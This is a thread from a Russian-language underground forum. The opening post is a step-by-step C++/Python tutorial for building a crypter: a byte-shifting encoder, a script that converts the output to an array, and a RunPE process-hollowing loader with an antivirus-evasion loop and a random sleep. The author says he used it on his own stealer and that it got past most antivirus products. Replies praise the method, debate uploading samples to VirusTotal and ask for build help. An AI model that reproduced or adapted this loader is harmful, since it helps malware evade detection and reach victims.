• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

Авторская статья Криптуем NATIVE приложение (RunPE/C++)

ims0rry

Omae wa mou shindeiru

ims0rry

Omae wa mou shindeiru
Местный
Сообщения
119
Реакции
679
0 руб.
Jabber
Please note, if you want to make a deal with this user, that it is blocked.

Вся информация предоставлена исключительно в ознакомительных целях. Ни администрация, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.



Материалы:
  • Visual Studio
  • Python 3.5
  • Python 2.7
  • 2 руки
  • Пару извилин
Итак, начнем:
А начнем мы, пожалуй, с написания самой простой программки, на которой мы и будем тестировать наш крипт.
(Далее - пейлоад)


Создаем проект консольного C++ приложения (x86 или win32).
Внутри прописываем:

Код:
#include <Windows.h>
int main()
{
    MessageBox(NULL, L"test", L"test", ICON_SMALL);
    return 0;
}
Компилим, тестируем, выдается окно с надписью "test".

Откладываем этот проект и приступаем к части шифрования данных.
(Далее - энкодер)

Создаем еще один такой же проект.
Далее нам нужно набросать примерный алгоритм шифрования байтов.
Я сильно заморачиваться не буду и просто напишу вычитание из оригинала
0х11.
Для начала узнаем размер считываемого файла:

Код:
    FILE * file = fopen("in.exe", "rb");
    if (file == NULL) return 0;
    fseek(file, 0, SEEK_END);
    long int size = ftell(file);
    fclose(file);
Далее считываем байты в массив и шифруем их:
Код:
    file = fopen("in.exe", "rb");
    unsigned char * in = (unsigned char *)malloc(size);
    int bytes_read = fread(in, sizeof(unsigned char), size, file);
    fclose(file);

    for (int i = 0; i < size; i++) {
        in[i] = in[i] - 0x11;
    }
Выплевываем зашифрованный файл:
Код:
    file = fopen("out.exe", "wb");
    int bytes_written = fwrite(in, sizeof(unsigned char), size, file);
    fclose(file);
И сразу дешифруем его таким же методом чтоб убедиться, что он остается рабочим:
Код:
    for (int i = 0; i < size; i++) {
        in[i] = in[i] + 0x11;
    }

    file = fopen("decr.exe", "wb");
    bytes_written = fwrite(in, sizeof(unsigned char), size, file);
    fclose(file);
Компилируем проект, пропускаем пейлоад через энкодер и видим на выходе 2 файла: out.exe и decr.exe. Пробуем запустить decr.exe - если вылезает окошко "test", значит все хорошо.

Далее, нам нужно получить массив байт из зашифрованного файла, чтоб в дальнейшем вставить этот массив в
криптор.
Для этого пишем простенький скрипт на
Python 2.7 и прогоняем через него наш файл out.exe:
Код:
import os, binascii
target = "out.exe"
output_file = "file.txt"
bytes_per_line = 16
try:
    count = 0;
    index = 0;
    output = "unsigned char rawData[] = {\n\t"
    with open(target, "rb") as f:
        hexdata = binascii.hexlify(f.read())
    hexlist = map(''.join, zip(*[iter(hexdata)]*2))
    for hex in hexlist:
        if count >= bytes_per_line:
            output += "\n\t"
            count = 0;
        output += "0x" + str(hexlist[index]).upper() + ","
        count += 1;
        index += 1;
    output += "\n};\n"
    out = open(output_file, "w")
    out.write(output)
    out.close()
except:
    pass
Создался файл file.txt, сохраняем его и приступаем к следующему шагу.

Теперь самая важная часть
криптора - собственно, сам криптор.
Создаем проект приложения win32 и вставляем наш массив из файла file.txt перед методом main().
Сразу прописываем хедеры к этому файлу:

Код:
#include <windows.h>
#include <winternl.h>
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"ntdll.lib")
И функцию RunPE:
Код:
int RunPortableExecutable(void* Image) {
        IMAGE_DOS_HEADER* DOSHeader;
        IMAGE_NT_HEADERS* NtHeader;
        IMAGE_SECTION_HEADER* SectionHeader;
        PROCESS_INFORMATION PI;
        STARTUPINFOA SI;
        CONTEXT* CTX;
        DWORD* ImageBase;
        void* pImageBase;
        int count;
        char buffer[MAX_PATH];
        GetModuleFileNameA(NULL, (LPSTR)buffer, MAX_PATH);
        char *CurrentFilePath = buffer;
        DOSHeader = PIMAGE_DOS_HEADER(Image);
        NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew);
        if (NtHeader->Signature == IMAGE_NT_SIGNATURE) {
            ZeroMemory(&PI, sizeof(PI));
            ZeroMemory(&SI, sizeof(SI));
            typedef LONG(WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
            NtUnmapViewOfSection mNtUnmapViewOfSection;
            if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &SI, &PI)) {
                CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
                CTX->ContextFlags = CONTEXT_FULL;
                if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) {
                    ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);
                    pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),
                        NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
                    WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);
                    for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++) {
                        SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));
                        WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),
                            LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
                    }
                    WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);
                    CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
                    SetThreadContext(PI.hThread, LPCONTEXT(CTX));
                    ResumeThread(PI.hThread);
                    return 0;
                }
            }
        }
    }
Далее в методе main() нам необходимо расшифровать массив байт и запустить его, перезаписав память собственного процесса:
Код:
      for (int i = 0; i < 550000; i++)
            OutputDebugStringW(L"");  //Код для заглота Avast & AVG
        for (int i = 0; i < sizeof(rawData) / sizeof(*rawData); i++) {
            unsigned char b = rawData[i] + 0x11;
            rawData[i] = b;
        }
        Sleep(((rand() % 5 + 1) + 2) * 1000); //Рандомная задержка
        RunPortableExecutable(rawData);
        delete[] rawData;

Иии, собственно все, криптор готов.
Единственный момент - после компиляции проекта криптора, на файле будет иконка. Уберите ее, а то словите очень много GEN детектов.

Таким методом обходится не только
Scantime, но и Runtime. Это я протестировал лично на своем стиллере. Как результат - полный обход всех популярных антивирусов, кроме Avira.

Scantime - http://viruscheckmate.com/id/2cO3PRtR2r8x
Runtime - https://run4me.net/result/1db6493fd0fc5c2fba2ea6a4f1a8a20594c37754c21bb1fe4fed7aaad68d63d6
Полностью автоматизированный билдер с рандомной генерацией числа, отнимаемого от оригинала + сорцы -

 
Последнее редактирование модератором:

yarr

CVE-2020

yarr

CVE-2020
Резидент
Сообщения
268
Реакции
444
0 руб.
Годно.

Кому интересно
[VIRTOT]https://www.virustotal.com/ru/file/3194e3a6ade3f0e8be16d7820bf2fbadfc68d56302faa7b23b152664d0a71b04/analysis/1510150851/[/VIRTOT]
 

TRDD

Резидент
Сообщения
306
Реакции
260
0 руб.
Please note, if you want to make a deal with this user, that it is blocked.
Годно.

Кому интересно
[VIRTOT]https://www.virustotal.com/ru/file/3194e3a6ade3f0e8be16d7820bf2fbadfc68d56302faa7b23b152664d0a71b04/analysis/1510150851/[/VIRTOT]
Ты так все файлы сливаешь на VT?

Получил личный, буду тестировать, через пару дней отпишусь. Есть уже один детект, судя по вышеуказанному VT.
Реально полезная информация, посмотрим сколько проживет.
 

rejjin

Кодер
Сообщения
194
Реакции
648
0 руб.
Telegram
Отличная тема.
Никогда не читал про крипторы, оказалось все просто.
Только непонятно, почему крипторы стоят так дорого и чем отличаются (и как софт, и как услуга, стоит не мало)? Если подумать, сдвиг тут любой подойдет и антивирусы не будут чекать, самое слабое место, это процесс записи в собственный процесс, а тут особо не разгуляешься.
 

yarr

CVE-2020

yarr

CVE-2020
Резидент
Сообщения
268
Реакции
444
0 руб.
Ты так все файлы сливаешь на VT?

Получил личный, буду тестировать, через пару дней отпишусь. Есть уже один детект, судя по вышеуказанному VT.
Реально полезная информация, посмотрим сколько проживет.

НЕ ВСЕ. Снова началось... Уже этот вопрос тут обсуждали (с одним "умником", все потерли модераторы.) Не будем провоцировать срач, ОК? Уже проходили. Можешь в л/с писать, а не здесь задавать бессмысленные вопросы.

Посмотри мою тему про Evil Droid, к примеру, там я писал, что на VT нельзя сливать, но я имел ввиду не Evil Droid, а результата его работы... Из-за того, что я этот АРХИВ (прошу заметить, НЕ РЕЗУЛЬТАТ РАБОТЫ КРИПТОРА, залил на VT ничего страшного не произойдет).
Сейчас еще раз проверил, детект только от Baidu Win32.Trojan.WisdomEyes.16070401.9500.9692. И я ОЧЕНЬ СОМНЕВАЮСЬ, что он появился из-за меня. Можешь погуглить про WisdomEyes и Baidu.
 
Последнее редактирование:
  • Мне нравится
Реакции: TRDD

TRDD

Резидент
Сообщения
306
Реакции
260
0 руб.
Please note, if you want to make a deal with this user, that it is blocked.
Из-за того, что я этот АРХИВ (прошу заметить, НЕ РЕЗУЛЬТАТ РАБОТЫ КРИПТОРА, залил на VT ничего страшного не произойдет).
Без проблем, все грамотно объяснил.
Но я уверен, будут люди, которые после твоего вышеуказанного поста начнут сливать файлы на VT. Аргументируя это тем, что: "Вот тот парень с репой сливал и ничего".
 

yarr

CVE-2020

yarr

CVE-2020
Резидент
Сообщения
268
Реакции
444
0 руб.
Без проблем, все грамотно объяснил.
Но я уверен, будут люди, которые после твоего вышеуказанного поста начнут сливать файлы на VT. Аргументируя это тем, что: "Вот тот парень с репой сливал и ничего".
Ну да, тут нужна оговорка. НЕЛЬЗЯ ТЕСТИТЬ РЕЗУЛЬТАТЫ РАБОТЫ КРИПТОРА. Да и сам криптор без архива желатльно на VM проверять. Небезызвестный Evil Droid так и слили. Скрипту пофиг, а результаты работы через несколько дней стали детектироваться. А так как эффективная обфускация/крипт apk дело не легкое...
 

ims0rry

Omae wa mou shindeiru

ims0rry

Omae wa mou shindeiru
Местный
Сообщения
119
Реакции
679
0 руб.
Jabber
Please note, if you want to make a deal with this user, that it is blocked.
почему крипторы стоят так дорого и чем отличаются (и как софт, и как услуга, стоит не мало)?
Я выложил лишь принцип, реализация везде самая разная. Вплоть до считывания байтов пейлоада с картинки. Также, сдвиги тоже сделаны для примера, в основном юзают вместо этого XOR, AES и тому подобное. И RunPE не единственный способ запуска приложения в памяти, вот шикарная статья про 10 способов инжекта в процесс - https://www.endgame.com/blog/techni...-technical-survey-common-and-trending-process
 

Mr_VVoodman

Резидент
Сообщения
337
Реакции
278
0 руб.
Вся информация предоставлена исключительно в ознакомительных целях. Ни администрация, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.
К чему это? Это же "теневой" форум, он же для этого и создан.
 

igor6709

Участник
Сообщения
82
Реакции
10
0 руб.
"Откладываем этот проект и приступаем к части шифрования данных.
(Далее - энкодер)"
Вот это не понятно!
Первый проект создал,работает.Отложил,создал второй проект,а вот тут и ступор. (Далее - энкодер) вот те коды что с ними куда вписывать?
 

ims0rry

Omae wa mou shindeiru

ims0rry

Omae wa mou shindeiru
Местный
Сообщения
119
Реакции
679
0 руб.
Jabber
Please note, if you want to make a deal with this user, that it is blocked.
"Откладываем этот проект и приступаем к части шифрования данных.
(Далее - энкодер)"
Вот это не понятно!
Первый проект создал,работает.Отложил,создал второй проект,а вот тут и ступор. (Далее - энкодер) вот те коды что с ними куда вписывать?
Точно так же, в метод main()
 

ims0rry

Omae wa mou shindeiru

ims0rry

Omae wa mou shindeiru
Местный
Сообщения
119
Реакции
679
0 руб.
Jabber
Please note, if you want to make a deal with this user, that it is blocked.
  • Мне нравится
Реакции: TRDD

igor6709

Участник
Сообщения
82
Реакции
10
0 руб.
У тебя их два вообще) Весь исполняемый код прописывается в главной функции main, т.е. вызовы других ф-й и прочее
Начинаю создавать проект куда вписывать первый твой код,где этот main?Скриншот 12-11-2017 180601.png
 

TRDD

Резидент
Сообщения
306
Реакции
260
0 руб.
Please note, if you want to make a deal with this user, that it is blocked.
Последнее редактирование:
Сверху Снизу